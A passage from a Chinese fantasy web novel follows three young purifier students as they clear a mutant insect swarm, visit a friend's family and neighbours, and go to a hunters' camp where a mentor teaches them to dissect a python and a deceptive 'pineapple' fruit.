作为人流量巨大的车站附近的诊所，这座专科诊所的规模极大，甚至比青龙专科医院都大，当然里面的科室不多。 就他们站在医院门口的几句话的时间，有源源不断的人流进出，都是被变异虫潮攻击污染的。 沙伍干脆把自己的泡泡把附近的一片就诊等候区的人笼罩在内。 不用特意说明，感染者马上就感觉到难受被缓解了，只是他们并不能够找到究竟是谁在净化，也或许是新研发的净化手段，全都安静待在自己的位置上。 小丑鱼很快到手了一盒晶核，高高兴兴过来：“都是刚才的变异蟑螂里开出来的。钱先打到我账户里了，一会儿我们分。” 沙伍第一次感觉钱脏，立刻拒绝：“我不要！” “切~你不要就不要了。我们还会嫌钱多嘛？”小丑鱼把地图共享到他们手环上，“这些是城内还没有清理完成的区域，我们可以去‘扫大街’。真正的战场在城外，不过我们这种小菜鸟还是不要去添乱了。” 虾同学疑惑：“我们不用留下来做净化工作吗？” 小丑鱼拉着他们出门，刷了两辆共享小飞车之后，才骂骂咧咧：“啧，看不起我们一级的，觉得我们没资格净化人。也不看看他们自己也就是会打个吊针的水平。” 第72章 打扫街区 “人家肯定不是看不起我们，是担心我们的安全。”虾同学坐在小丑鱼后座，用泡泡把沙伍扫过的区域再检查一遍，心平气和，“比起待在室内，我还是喜欢户外。” 作为自然净化者，他对于自然环境中存在的污染的净化，比沙伍要强得多。 经过两人的泡泡先后覆盖，小丑鱼手环上的环境污染值迅速降低，快速恢复到一个比较健康的水平。 悄悄跟在他们身后的安全员把情况汇报到指挥分部：“这三个小孩儿很厉害，什么来头？” “青龙学院的，应该异能天赋值很高。” 有人在忙碌中回复：“十班的，三个净化者。一个S级，一个A级自然净化者，一个B级战斗净化者。” “嘶——”安全员倒抽一口冷气，眼神往三个人离去的方向看去，嘀咕，“我也是见到活的S级异能值天赋了。” B级都很少了，S级得强成什么样？ 怪不得三个不大一点的小孩儿能够把角角落落的变异虫子都打扫出来，净化环境的速度还这么快。 他做好标记后，开始根据指挥部指挥，让待在安全中心的百姓们回到净化好的街区。 朱雀城太大了，虫潮分布也不均匀，并不是所有人都能及时撤离到相对安全的位置，有很多人还待在家里或者是公司里，甚至是户外。 无数细小的变异鲨鱼穿梭在街头巷尾，只要发现变异虫子就进行攻击。 变异虫子的气味很奇特，污染过后的变异虫子的气味更是直冲脑门。 沙伍被熏得两眼发花，行为全凭本能和意志力。 虾同学突然说道：“好饿。老板，你们还有午餐卖吗？适合一级的就行。” 脸色苍白的老板赶紧说道：“有的有的，里面坐。喜欢吃什么，随便点。” “随便，简单点就好。我们吃完了还得继续清理。” “行，那我给你们搭配。” 虾同学提高声音喊：“沙伍！回来吃饭！午餐！” 沙伍开着小飞车往前飞了一段，才又飞回来：“啊？午餐？” 哦，对。 他们到现在还没吃东西。 “怪不得我觉得头晕呢，原来是饿的。”他还以为是被恶心的。 这是一家做异能者生意的小餐厅，地方很小，但环境很不错。 沙伍根本就没意识到，刚才自己清理掉的一波变异蟑螂加变异蜈蚣，差点把老板咬死，有气无力地瘫坐在卡座上，用异能搓了个小水球把手放进去泡着。 小丑鱼劝他：“洗完手就散掉异能吧。省着点用，免得晚点异能不够用。说起来你都不累的吗？” “啊？”沙伍过了一会儿才反问，“为什么要累？” “这是饿卡顿了？你现在延迟有点高啊。”小丑鱼甚至抬手在他眼前晃了晃。 虾同学忍着笑：“我觉得沙伍不是饿的，是精神伤害过大导致的。没关系，程序还能运行就好。” 沙伍感觉自己整个脑子都是麻的，吃完了午餐后，才接收到信息：“不要把我说的像是地球online的NPC啊。” 虾同学指给他看手环上显示归零的污染值：“0.000。你确实挺NPC的。” 作为自然净化者，他的手环是专门进行了针对性定制的，对周围环境污染值的检测精度比一般手环要高得多。 沙伍瞟了一眼，不以为意：“拿检测仪测还是正常值，多少有点污染值。”手环的数据看看就好。 虾同学摇摇头，没跟他争辩，问他：“要休息一会儿吗？” 从下车开始，沙伍的异能一直在释放，已经超过两个小时了。 不是维持膜的存在两个小时，是进行了大规模净化和几乎不间断的搜寻攻击两个小时。 沙伍只是个一级，有这么多异能可供挥霍吗？ S级天赋值的人，班级里又不止有沙伍一个。 别人什么样，他还不清楚嘛。 沙伍明白他的意思：“不用。你要吗？” 他们一路上清理的变异虫潮只是一点点“蛋糕碎屑”，真正的大头早就被专门的城市部队给清理掉了。 结账失败的小丑鱼回来：“恢复异能去净化专科诊所申请冥想室更安全。” 老板做点小生意不容易，饭店被变异虫子攻击，后续维修费用不小。 虽说肯定买了相关保险，会获得一定的赔偿，但肯定不会赔偿足额，加上维修时候的停业损失，老板可能半个月一个月就白干了。 一顿饭钱对他们来说不算什么，再说他们收获了好多值钱的变异虫子，为什么老板就是不肯收他们钱？ 唉，头一次花钱还能花不掉的。 沙伍和虾同学肃然起敬：“朱雀城的诊所还有专门冥想室？” “冥想室长什么样？” 小丑鱼赶紧解释：“其实就是隔离室改的。反正就是安全防打扰嘛，需求都差不多。” 他们走的时候，老板给他们送了很大一个保鲜盒：“真是太谢谢你们了。这些东西你们饿了吃。” 他是没想到，这群年纪不大的少年的本事这么大。 说来惭愧，他一个三级异能战士，战斗力不如几个一级的。 他甚至不能用自己的异能是味觉强化来作为开脱，毕竟这三个小孩儿是战斗力出了名弱的净化者。 看来还是得多练，不求能把自己的战斗力提升到什么程度：“起码得维持到救援队来吧？” 一整个下午，沙伍都骑着小飞车在地图上标注的浅黄色区域晃，刚开始还有虾同学和小丑鱼陪着，到下午三点的时候两个同学都废了，倒是在路上捡了个文缙。 确认安全的第一时间，文缙把自己的形象精心整理了一番，确保自己是战损风，不是面目全非：“幸亏碰到你，不然我刚才那副样子，肯定被一群无良记者拍丑照大肆传播。” 沙伍无法理解：“都变异虫潮了，还丑照？” 无论是顾虑丑照的战队明星，还是依旧惦记拍丑照的记者，沙伍感觉都挺抽象的。 文缙倒是情绪稳定：“要吃饭的嘛。大家都只是爱岗敬业罢了。” 沙伍摇摇头：“没见过爱岗敬业到把自己弄到差点凉凉的。你们这种富家子弟出门打怪，不是应该带上专业的保镖团队和摄影团队的吗？而且你都是战队明星了，应该这方面的资源更加丰富吧？” 至少他在后土城知道的那些富家子弟，不乏这么操作的。 “哥是什么人？能跟那些纨绔子弟一样吗！”文缙佯装大怒，随即注意到，“你这路线不对啊，去哪儿？” 沙伍说道：“去朱雀学院附属专科医院。你的伤挺严重的。”一条胳膊都跟面条似的软趴了，也不知道是脱臼还是骨折还是别的什么问题。 文缙自己倒是不在意：“小伤而已。我跟你多待一会儿，把污染净化掉，这点伤很快就能自愈。” “还是让医生给你治疗。鸟的翅膀很重要的。”他都不敢想要是自己的翅尖骨折了会怎么样。 由奢入俭难啊。 以前他什么伤啊病啊的，大部分都是自己熬过来的，确实没有骨折这么严重。 现在他但凡擦破点皮，都想着跟梁伯祁叔他们说说，起码得安慰个五分钟的。 姜纶得安慰半小时。 被人关心的感觉特别特别好。 文缙沉默了一会儿，才说道：“那边人多。你要是陪我去，小心被人拍照传绯闻。” 沙伍压根没想到这茬，但哪怕是被文缙提醒了，还是觉得无关紧要，倒是想起来跟姜纶联系了。 姜纶一放假就被姚昭华抓壮丁，待在后土城打工，偏偏沙伍还选择跟同学出去玩，心情简直是坏上加坏。 现在视频画面里竟然出现文缙的脸，他感觉自己的灵魂都有一瞬间的飞升。 要不是经过了将近一年的对于污染控制的训练，只这么一下，他就要污染值超标，听完沙伍的顾虑后，他保持冷静：“放心，我会处理。你们该干嘛干嘛。” “好~就知道你有办法！”沙伍看着姜纶眼睛亮晶晶的，“你还没下班？” 要是没有文缙在，姜纶肯定会跟沙伍抱怨姚昭华给他留了很多工作，抱怨那些高阶异能者多难搞，但是现在，他端起小少爷的架子：“马上就下班了。” 文缙看着两个人说话，明明没什么腻歪的，不知道为什么听着就很撑。 还好他们很快到了朱雀学院附属专科医院，沙伍确认文缙不用额外照顾就走了。 他设置了目的地，让小飞车把他送到小丑鱼家。 小丑鱼家住的是朱雀城区中心的一套大平层。 沙伍到的时候，花妈妈和花爸爸都等在露台：“沙同学，来来来，快进来。” 沙伍一进去就深呼吸一口气，再长长吐出：“脑子终于干净了。” “哈哈哈！变异蟑螂的味道还能顺着鼻子进入到你脑子？”小丑鱼跟虾同学拿着游戏手柄坐在客厅地毯上，背靠着沙发在打游戏，“行李给你放房间了。你先去洗个澡，马上开饭了。” 说话的时候，他放下手柄，带着沙伍去客房。 沙伍没一会儿就把自己收拾干净：“整个人都活过来了。” 花爸爸和花妈妈准备了非常丰盛的晚餐，各种生猛海鲜河鲜，和青龙学院那边品种很不一样。 沙伍和虾同学都吃得很高兴。 “哪天我们自己去抓鱼吧？” “好啊好啊。” “不过得休息两天，先把虫……” “停！”沙伍脸色剧变，“别提！” “哈哈哈！” 这次变异虫潮不是很厉害。 有一些受伤人员，没有死亡和重伤的，主要战斗三天结束，剩下还有一些后续扫尾工作，跟沙伍他们三个临时人员就没什么关系了。 三个人在家瘫了一天，才刷到过时新闻：“文缙参与变异虫潮战斗，重伤被路人送医……这个路人长得有点像你啊。” 沙伍扫了一眼小丑鱼递过来的光屏，看到上面自己的一个后脑勺：“这都能认出来是我？” “感觉很像。你不理解一个战斗净化者对于人类的直觉。”小丑鱼把光屏给待在鱼缸里的虾同学看，问沙伍，“真是你啊？” 为了招待虾同学，花家爸妈特意整了个淡水缸。 小白虾漂浮在水草中，看着影片，十分惬意：“沙伍和文缙认识吧？” “嗯，没想到随手一捡，捡到个认识的。”沙伍也想躺在缸里，无奈花家没有那么大的海水缸。 小丑鱼很好奇：“他们这种战队明星真杀虫子啊？不都是摆拍吗？文缙真的受伤了？” “别人不清楚，文缙是真杀。就我们到朱雀城的第一天，他一个人，胳膊骨折了，没人拍。”那片位置靠近文缙家。 小丑鱼想起来了：“哦，对。下午我们都累趴了，就你一个永动机还在干活。S级异能值天赋有这么离谱吗？”明明他这个B级其实等级也很高了。 虾同学把光屏投在鱼缸上，换了个片子：“S级和S级的差距很大的。沙伍现在身体还没好吧，就已经能殴打班长了。” “班长比较废物。”小丑鱼毫不在意。 沙伍倒是不这么觉得：“班长已经很强了，比很多二三年级的学长学姐都难杀。” 虾同学惊恐弹射，直接蹦跶出鱼缸：“杀？” “比喻！只是比喻！”沙伍举起双手。他可是跟爸爸保证过绝对不吃人的！ 小丑鱼把虾同学放回鱼缸，回头看沙伍，开始八卦：“说起来，你一个人出来，你家少爷怎么不安排几个人跟着？” “啊？”沙伍完全没这方面的意识，“为什么要让人跟着我？” “电视里不都这么演的吗？” “你都说了是电视了。”沙伍觉得演的都太夸张了，“都按电视里演的那样，是不是上学都得带几个保镖？” 虾同学贴在鱼缸上，两个眼柄打横：“你带了。” “瞎说！我带没带保镖，我自己还不清楚？” “你以为你带小猫和小鸟就不是八级和九级了？” 小猫=小粉，八级变异植物。 小鸟？九级？ “小鸟是院长？”沙伍搓搓手，“我告诉院长你叫他小鸟。” 虾同学立刻把自己藏在水草里，嘴硬：“院长才不会跟我计较。你说你是不是经常和院长待一块吧？” “你非得这么说，也不是不行。”但是夜师傅经常跟他在一起，主要是为了盯着姜纶，次要是拿他当鱼饵钓鱼。 他是想不明白，自己一条营养不良大白鲨，又不好吃，为什么能吸引海里面的那些过于生猛的海鲜？ 当然，夜师傅对所有学生都很好，只是对他格外好罢了~ 小丑鱼赞同虾同学的观点：“我觉得你身边肯定跟了保镖，只不过你自己不知道罢了。” 沙伍操纵变异鲨鱼去房间给自己叼了一个变异柠檬过来，放脑袋下面当枕头：“我不知道，你知道？” 小丑鱼瑶瑶手指：“这是推理。就平时姜纶对你的重视程度，要是不确定你这里的实时情况，变异虫潮爆发的第一时间，他就赶过来了，怎么可能到现在还风平浪静？” 大白鲨的战斗力确实超标，也只是相对一级来说的。 哪怕他们一直待在大后方，也不是能够确保绝对安全的。 事实上，数量超过20只的变异虫子，他们对付起来已经有些艰难了。 要是中间再蹿出点变异动物什么的，绝对会造成威胁，哪可能只是衣角微脏？ 沙伍竟然被他说服了，刚想说什么，就觉得后脑勺一空：“你抢我柠檬！” 小丑鱼抱着柠檬不撒手：“你都有两个柠檬了，给我一个怎么了？” “那个还生了点，太硬了，不是很好睡。”唯小少爷与变异柠檬不可动！ 两个人太闹腾，很快楼下就上来投诉：“安静点！” 沙伍、小丑鱼和什么都没干的虾同学一起低头认错：“对不起。” “哎呀，是你们啊。”邻居伯伯认出沙伍和虾同学，“不好意思啊。多亏了你们这几天把整栋楼都给清理干净，现在待在家里特别舒服。是不是中午就你们在家？伯伯一早去山里面农庄抓的鸡，来伯伯家吃白切鸡。” 小丑鱼抗议：“温伯伯，我呢我呢！我也干活了！” 邻居伯伯故作不屑：“你个衰仔！天天拉着一袋虫子，记得把手洗干净啊！你们喜欢柠檬啊，伯伯知道有一片野生柠檬树林……” 等邻居伯伯下楼，沙伍有些紧张：“怎么办？我们中午真的要去楼下吃饭吗？” “去啊。温伯伯不是说了嘛。太好了，我不用做饭了。”小丑鱼抱着变异柠檬往客厅地毯上一躺，打了个滚，“我们都是几十年的老邻居啦，关系很好的啦~” “啊？你们楼很新啊。”准备往鱼缸里去的虾同学都停下了脚步，看了看小丑鱼的动作，没忍住抢了他的变异柠檬，一躺，“果然很舒服。” “哈哈哈。维护得比较好而已啦。”小丑鱼拦住想去抢变异柠檬的沙伍，“小气鬼，让我们睡一下怎么了？” “所有柠檬都是我的！”沙伍像个念台词的NPC，说完开始纠结，“那我们去别人家蹭饭，要不要准备什么礼物？” “不用啊。到伯伯家蹭饭，为什么要准备礼物？”小丑鱼不明白。 沙伍压根不听。 来小丑鱼家里倒是不用特意准备什么，带上一些青龙城特产就行。 小丑鱼是同学，是好朋友，没那么讲究。 楼下邻居就不一样了，准备什么礼物比较合适？ 沙伍直接找到了在本地的唯一人脉：“文缙……” 在一旁默默搜索礼物的虾同学，一听到名字立刻就凑了过来，看到文缙一脸苍白地躺在医院病床上：“哇，好漂亮。” “我看看！”小丑鱼也凑了过来，“我的天，原来真的有人长这样，不是化妆化出来的！” 沙伍把两个人都推开，跟文缙叭叭。 文缙和沙伍见面不多，但是网上聊得多，问清楚了大概区域：“你搜外卖的也可以，不过现在可能外卖还没有完全恢复，直接去店里面买。不用买太贵重的，新鲜点的就好。” “好~”沙伍搜地图看了看文缙推荐的几个店铺的地址，发现不远，“你胳膊还没好？” “快好了。不过难得可以多休息一阵，我就在医院多躺几天。” 沙伍和文缙的通话一直没断。 中午他们拎着一只烧鹅两盒水果去楼下蹭饭，沙伍才跟文缙挂断。 温伯伯家的小孙女耳聪目明：“文缙！我听到文缙的声音了！” “这都能听出来？”小丑鱼对着走出来的温伯伯无奈道，“温伯伯，他们非得拿东西过来。”指着一屋子大大小小的孩子，对沙伍他们说道，“暑假了，我们都是整栋楼随便玩的。” 中午谁家大人在，就去谁家吃饭。 虾同学融入得很好：“跟我们村里差不多。” 沙伍就有些拘束。 他还没接触过不同年龄阶段的陌生孩子们的善意。 小丑鱼和虾同学都奇怪地看着沙伍一秒内向，感觉十分神奇。 等到下午看沙伍别别扭扭地带着小孩子们一起玩，更加觉得不可思议。 带那么多孩子出门，肯定不止温伯伯一个人，还有楼里的好几个大人一起。 “蓉蓉的同学们看上去都很稳重啊。” “是啊。蓉蓉读了一年大学，还是毛毛糙糙的。” “那有什么？蓉蓉才多大？” 听清长辈们在说什么的小丑鱼气死了，看已经稳重地钻柠檬树林的沙伍和虾同学，赶紧道：“等等我！” 野生柠檬树林是纠缠在一起的小灌木，就是普通柠檬，有一点变异值，但并没有异能，不是沙伍喜欢的可以用来做枕头用的那种。 虾同学嘀咕：“我就知道，要是真的变异柠檬，伯伯伯母们应该不会带我们过来，太危险了。” 他们钻了进去，又很快倒退出来。 面朝大海的海滨沙滩上人不多。 沙伍很快发现了一丛奇怪的植物：“这是什么？” “野菠萝。”本地小丑鱼突然想到，“我知道有一片菠萝的海！” 第73章 骗子果实 菠萝的海是大灾变前的菠萝种植地，距离榕城不算太远，当然也不能说近，已经在轻度污染区。 “没有直达的公共交通，我们得自己去。” 他们没有马上出发，毕竟接连三天清理街区，一天的休息时间是缓不过来的，接下来两天他们去参观了名满全球的珠宝城。 恰逢有一个拍卖会，沙伍刷脸就带着两位同学进去了。 沙伍的眼光已经被养叼了，没什么让他惊艳的东西。 小丑鱼和虾同学则完全是来长见识的，待在包厢里全程负责瞠目结舌。 拍卖会结束后，经理领着他们从专用通道出去。 等回到家里，小丑鱼才问：“你就没一样喜欢的东西吗？替你家小少爷省钱？” “啊？”换下正装，光着脚穿着背心短裤的沙伍一脸莫名，“没看到喜欢的，干嘛非得要买。” 别说是姜纶在后土城家里的各种收藏，就是摆在宿舍里的日常和少数不日常的首饰，都比拍卖会上的漂亮。 虾同学衣服都还没换下，盯着手环上的光屏，看着拍品的许多精细的链路设计：“多漂亮啊。”要不是太贵了，他每一件都很喜欢。 沙伍盘腿坐在地毯上，准备开始打游戏：“漂亮是漂亮，不过没特别惊艳的。来，打一把。” 这种程度的首饰和晶核他很多，没必要非得上拍卖会。 虾同学一看，顿时放下手环：“你们先玩，我去洗澡。” 三个人到半夜还在玩，花爸爸出来提醒：“你们不是明天要出去玩吗？还不睡觉？” 三个人异口同声：“最后一把！” 最后亿把被花妈妈摁死在凌晨三点。 早上花妈妈他们看到三个人竟然也早早起来了，奇怪：“昨天睡这么晚，怎么不多睡一会儿？” “不用，我们一会儿在车上睡。” “爸，早饭我们在外面买，你别忙。” 三个人早就说了要出去露营几天，夫妻俩尽管有一点点不放心，但没多想，出门上班去了。 然后他们的房车上多姜祁和薛春。 沙伍：“……叔？薛哥？” 虾同学和小丑鱼都认识两个人，跟着招呼，交换了一下“果然跟着保镖”的眼神。 姜祁冷笑，抬手给了他们一人一个暴栗：“胆儿真肥。三个菜鸟就敢自己去喂菠萝。” “啊？”怎么就是喂菠萝？“不是去吃免费的水果自助吗？” 薛春看着他们清澈的眼神，头疼地揉了揉额角：“你们不都是高材生吗？” “啊。”各科成绩都保持在全年级前十，必须高材生。 姜祁已经懒得跟他们说明，走去房车的驾驶室。 薛春只能跟他们一起坐在卡座上，科普：“华南地区水热条件好，非常适宜变异生物的生长。大灾变前，就是非常著名的水果产地。你们知道漫山遍野的水果意味着什么吗？” 沙伍举手抢答：“意味着好吃！” 薛春抬手就放出八级狂暴小猫咪，对沙伍使用技能疯狂贴贴。 薛春指了指小粉：“意味着像小粉这样的变异植物不会少。” 沙伍抱着小粉：“八级变异植物那么多的吗？” “那边绝对不少。”薛春指指沙伍，“尤其你还是吸猫……吸植物体质。” “噫~说的好像我不吸动物似的。”院长天天想着拿他当鱼饵。 小丑鱼眨巴眼睛：“可是我们就是去外围转转。我小时候，我爸妈带我去玩过的，还摘了一颗特别大的菠萝，比当时的我都大！” “哇——”沙伍和虾同学全都两眼亮晶晶，“我也想要！” “变异菠萝不知道好不好吃？” “应该有不同的变异方向吧？” “变异菠萝要是不好吃，也没法用来当枕头。” “可以用来按摩肌肉。像泡沫轴那种。” “有道理！” 薛春顿觉孩子难管：“总之，你们到时候别乱跑。” “知道。我们之前想去那边的一个水果营地。” “哦，哪个？”薛春看小丑鱼分享给他的地图，确实是很外围很外围的位置，搁青龙学院的话，应该就相当于刚出海湾，距离3号监测点都还很远。 “这地方有什么好玩的？”姜祁缓过气，溜达过来，确认三个小孩儿没不靠谱到真的去菠萝的海，而是在一个算是相当安全的旅游景点，突然嫌弃，“这地方有什么好玩的？人比水果多。那种水果营地没什么东西，水果也不是野生的，是人工培育的淘汰品种，往大里面培育，除了个头大，几乎一无是处。” “可是我想有一个跟我一样大的菠萝。”沙伍眨巴着眼睛看向姜祁。 姜祁：“……算了，我带你们进去一点。我有个朋友在里面有个营地，不过不是面相公众的，是个猎人小屋。我们可以在那里住两天。” “嗷嗷嗷！”三个小孩儿顿时嗷嗷乱叫。 房车路线经过之前看好的水果营地，远远看过去全是人头：“真这么多人啊。” 小丑鱼觉得很正常：“放暑假了嘛。我小时候也是其中一员。” 说是要在路上睡觉的三个人，全都坐在房车顶上。 虾同学用手比划：“我还以为这里就是个大一点的猎人小屋，老师说的那种污染区的大号营地那样，没想到这都是一个小城市了。比3号监测点都大多了。” 沙伍突然说道：“现在3号监测点很大了哦。” “对哦。3号监测点是准备扩建成居民区了吗？什么时候开放买房？新房应该不贵吧？要求定居多少年？” 沙伍听着虾同学的一系列问题：“你是真准备在3号监测点买房？” 小丑鱼也凑过来：“青龙城感觉有点冷。3号监测点的气候好像和青龙城差不多？沙伍你的新宿舍那里是不是暖和一点？” 冬天照样穿短袖短裤的超级耐寒大白鲨，对热带鱼的温度需求进行了一番搜索：“对你应该还是冷的。你也准备买房？” “价格合适的话，可以考虑。”小丑鱼之前没想过，但是现实问题就很现实，“你看我学医的话，起码得读博。顺利的话，毕业也奔三了。我想结婚生孩子，总不能一直住在宿舍里。理想中是一个滨海带小院子的充满阳光的房子。这样的房子别说是青龙城了，就是下辖的墨城都贼贵贼贵。” 虾同学也是差不多的考量：“对，距离学校近，新城的福利待遇也会更好一些。” 沙伍还真不知道具体的时间点：“现在就姜纶自己在弄，我看他进度还挺快的，等下学期开学，应该公共基础设施能建设个七七八八。具体迁入人口，应该还要一段时间吧？” “哦，那比我想象中要快。我得开始攒钱了。”小丑鱼想到结婚生子就愁，“我将来到底会不会转变性别？我该找个男的，我来生孩子；还是找个女的，让她生孩子？” 这是一般人都不会有的烦恼。 沙伍和虾同学都帮不上忙。 待在房车内的姜祁和薛春也装没听见。 等看不见水果营地后，房车明显提速。 小粉把三个人拉进车里，又过了半个小时，他们才到了姜祁朋友开的营地。 这个营地就很符合沙伍他们想象中的猎人小屋。 位于山坡上的一块平地，由各种活动板房围起来，里面穿梭着行色匆匆的各种异能战士。 有个皮肤黝黑精瘦的男人，光着膀子指挥房车停放在指定位置，看姜祁下车，就说道：“老规矩，这一片你们自己管。” “行。” “这次咱们去深一点的地方看看？我大概知道可能有八级……”精瘦男人看到陆续下车的三个学生仔，“你怎么又带孩子？！” 姜祁笑笑：“放暑假了嘛。带孩子们来长长见识，不去危险的地方了，我们就随便转两天。”他对沙伍他们招招手，介绍，“叫刘叔。在这里有什么不明白的问题都找刘叔，过来先跟刘叔加个联系方式。” “刘叔~” “哎哎哎。”刘叔难得拘谨，加完联系方式之后，有些挠头，提醒，“我们这个营地不是百分百安全，会有一些变异生物闯入，一个人不要乱跑。这里人员流动很高，不要跟陌生人说话。想买什么东西找我，我来带你们去……你在干神马！” 沙伍伸手想要摸摸站直了跟他一样高的蟒蛇：“啊？这不是个人？” 刘叔听到沙伍的话，不知道该救人还是该吐槽，一时间整个人都卡住了零点几秒。 等他反应过来要救人的时候，沙伍肩膀上的猫突然张开血盆大口，一口咬死了蟒蛇。 沙伍帮小粉把卡住的牙，从蟒蛇身上拔下来。 薛春手上多出一根风车茉莉，把蟒蛇提溜到空地上：“这么大的家伙，怎么混进来的？” 虾同学用手环测了一下蟒蛇的长度：“7.15米。” 虽说动植物变异后，有很大概率巨型化，但七米多的长度在蛇类中已经非常大了。 相对于营地里突然出现的大蛇，让刘叔感到更加惊惧的是小粉：“这这这……八级变异植物？” 一口咬死五级变异蟒蛇的小粉，现在又是一辆半挂猫猫的样子，被沙伍抱在怀里，得意地喵喵喵。 不等薛春回答，营地里的一群人已经围了过来，看着喵喵怪不敢靠近。 姜祁跟刘叔小声解释，薛春已经把蟒蛇的晶核取了出来：“咦？这颗很好看啊。小粉要不要？” 接近于无色透明的龙眼大小的不规则晶核，似乎环绕着一圈白色的雾气，与其说是好看，不如说非常特别。 小粉从沙伍怀里跳下去，肚皮上的原始袋左右晃荡，凑过去闻了闻，转过身用屁股对着它爸，表示拒绝。 “你不要，那爸爸收着了？” 小粉坐下来，开始舔爪子洗脸。 薛春没有马上收起来，拿着现成教材给沙伍三个人教学：“这是一颗具备相当强悍隐匿能力的晶核。”他指了指地上巨大的蟒蛇，“喏，哪怕它死了，体型这么巨大，现在不动弹的时候，你们是不是会下意识忽略它？” 这颗晶核很值得带回去研究一下。 一条五级的变异蟒蛇，竟然连他和祁叔都没第一时间发现。 不对，祁叔真的没发现？ 他抬头看了看在和刘叔说话的姜祁。 “对。感觉像是一根普通的水泥柱子。” “或者是倒伏的木头。” 反正是出现在营地里好不突兀的存在。 沙伍的关注点不太一样：“对，会忽略它是不是很好吃。” 刚刚撑起来的教学氛围，瞬间被破坏殆尽。 薛春问他：“饿了？” “没。没吃过蛇肉。”想咬咬看。 小丑鱼吐槽：“你别看到什么都想尝尝。” “我也没有什么东西都想尝。”沙伍反驳的声音不是很大。 营地里现在有好几个战队在修整，战士等级普遍在四级到六级，偶尔有两三个七级的。 难得看到有高阶异能战士讲课，他们都听得很认真。 薛春讲完关于变异蟒蛇的各种信息后，看姜祁跟刘叔交流完，扬声喊：“祁叔！小伍想吃蛇！” “吃吃吃！”姜祁不耐烦地走过来，“这东西有什么好……看上去肉还挺多。” 刘叔带着两个人搬过来一张大长桌，把蟒蛇摆上去。 蟒蛇还是太长了，尾巴垂在地上。 姜祁就开始教学：“野生的玩意儿不是死了就绝对安全的。它们的体内很可能存在一些寄生生物，有些寄生生物并不一定会马上致命，甚至在短时间内都不会让你觉得异常，但要处理起来都非常麻烦。所以在做变异生物处理的时候，首先就是做好自我防护。” “嗯。” “下一步呢，也不是下刀子切割，而是检查是不是有寄生生物，或者别的什么乱七八糟的东西。这一步对于我们这种净化者来说会相对简单，检查有没有生命体征。我们净化者，对于生命力的感知是强于其他异能者的。” 他抬手让沙伍三个人过来，用自己的异能引导他们去感知。 沙伍感觉自己进入到一种类似冥想的状态，能够很清晰地看到蟒蛇体内的各种肌肉、器官、骨骼，甚至能够看到更加细微的东西。 “好，保持住这个状态。下一步，就是把蟒蛇进行分割。” 几乎是一瞬间，蟒蛇就被分割得干干净净。 在沙伍的感官中整个过程异常清晰，仿佛就是把原本在那儿的东西，换了个位置摆放。 周围的异能者发出惊呼声。 沙伍他们从姜祁的异能引导中退出来，看着长桌上整齐摆放的蛇皮、蛇肉、蛇骨、蛇内脏什么的，连蛇血都单独放了起来。 刘叔说道：“每次看你处理猎物都赏心悦目。”还毛骨悚然。 这招不仅可以用来对付变异生物，同样也可以用来对付人。 很多人都下意识觉得净化者的攻击力弱，甚至于欠缺攻击手段。 这种认知不能算错，但不全对。 净化者，尤其是战斗净化者，对于人体的了解是远超其它变异生物的，这就代表着他们有极其丰富的经验和足够多的手段来对付人。 这点，高阶异能者都明白。 围着姜祁烹饪蛇肉的小丑鱼听得懵懵懂懂。 “我也可以这么厉害的吗？” 祁叔对听话的小孩子通常很有耐心：“像我这么厉害，可能还需要更长时间的努力。但是我们战斗净化者，在小队中可以有更多的自保手段，不用完全依赖于把自己的异能转化成别的异能，比较节省。” 小丑鱼若有所思地点头。 虾同学就没有这方面的困扰。 他早就接触过这方面的理论，家里长辈们也给他展示过类似的技巧，只是作为自然净化者，他们的攻击力显然没有姜祁这么强，异能方面更加温和。 他突然发现沙伍不在，四处看了看：“沙伍呢？” 祁叔说道：“跟着老刘去逛了。我们先吃饭，然后睡一觉。下午我教你们怎么处理蛇油。” 时值七月初，已经过了变异菠萝大批量成熟的季节。 沙伍和虾同学这种外地人，是第一次看到没有菠萝的菠萝长什么样子。 本地人小丑鱼就完全不理解：“看个叶子都这么大呼小叫的干嘛？” 沙伍踩着飞板，看着面前茫茫多的菠萝的海：“你不懂。” 虾同学全程录像：“那边是不是有一颗菠萝？” 三个人踩着飞板过去，不敢靠太近，也不敢下手去摘，而是沙伍放出异能小鲨鱼去咬下来的。 “闻着很好吃~” 这是一颗特别正常大小的菠萝，甜甜的果香透过橙红的外皮散发出来，轻轻按上去，就像是会爆汁。 “我们回去吃菠萝吧？” “走。” 姜祁看他们刚出去没一会儿就自己回来了：“怎么……哈哈哈！你们摘到骗子了。” “骗子？” “对。它会让动物产生一种它看上去很好吃的错觉，从而把它的果实吃掉，散播到别的地方去。它们本身没什么危害，就是一种单纯的传播策略。”姜祁看着跟在他们身边的薛春，“你怎么不提醒他们？” 薛春笑得一脸温和无害：“没什么危险，可以让他们自行探索。” 毕竟是暑假，玩更重要。 沙伍他们还是围绕着菠萝嘴馋：“这东西，连菠萝都不是？” “不是。” “那它真实的样子长什么样？” “办法不是教你们了吗？自己试。”姜祁的语气中露出一丝对加班的不满情绪。 薛春已经躺在了风车茉莉织成的吊床里，抱着猫开始休息起来。 沙伍他们三个人就用姜祁教的处理蛇尸体的步骤，对“骗子”进行解析。 没有姜祁的引导，靠着自己的异能来操作，难度还是很大的，最难的是和嘴巴里不停分泌的口水做斗争。 三个人去营地买了三杯果汁回来，叼着吸管分析。 刘叔跟过来看了一眼，摇着头笑着走开。 他这么个危险程度不低的营地，竟然还真的有一天岁月静好起来。 想想也是，起码三个八级，只是在周围不到一百公里直径的范围内活动，确实没什么危险。 三个净化者，将来还不知道会成长成什么样子。 姜祁和薛春他们睡午觉。 沙伍他们午觉也不睡了，就盯着“骗子”解析。 等他们午觉醒来，三个人磕磕绊绊地把“骗子”给拆解了出来。 三个人都累得够呛，精神倒是都很亢奋。 “叔！你猜哪个是我弄的！” “骗子”被拆开后，完全没有菠萝的样子，就是一个拳头大小的橄榄形状的果实。 它的表皮像是干枯的树叶，内里是蒲公英一样的种子。 姜祁看着桌子上的三堆：“你们刘叔给你们又摘了两个‘骗子’？” “嗯。” “花杨蓉对异能的操作可以更加果断一点，不要总想着‘沟通’，把你的异能想象成锋利的手术刀，直接进行切割。” 小丑鱼看着自己切割最碎的一堆：“嗯。” 姜祁点评另外一堆：“小伍，你是太果断了。”最后一堆最完美，“白虹做得非常好。记住今天的感觉，以后多加练习，慢慢把速度提上去。” 虾同学脸红红：“好的，祁叔。” 他突然感觉到身边少了点什么，四处一看，最后抬头：“沙伍飞上面干嘛？” 他刚眨眼，就见一辆房车飞了过来，随即一道人影从房车里飞出去。 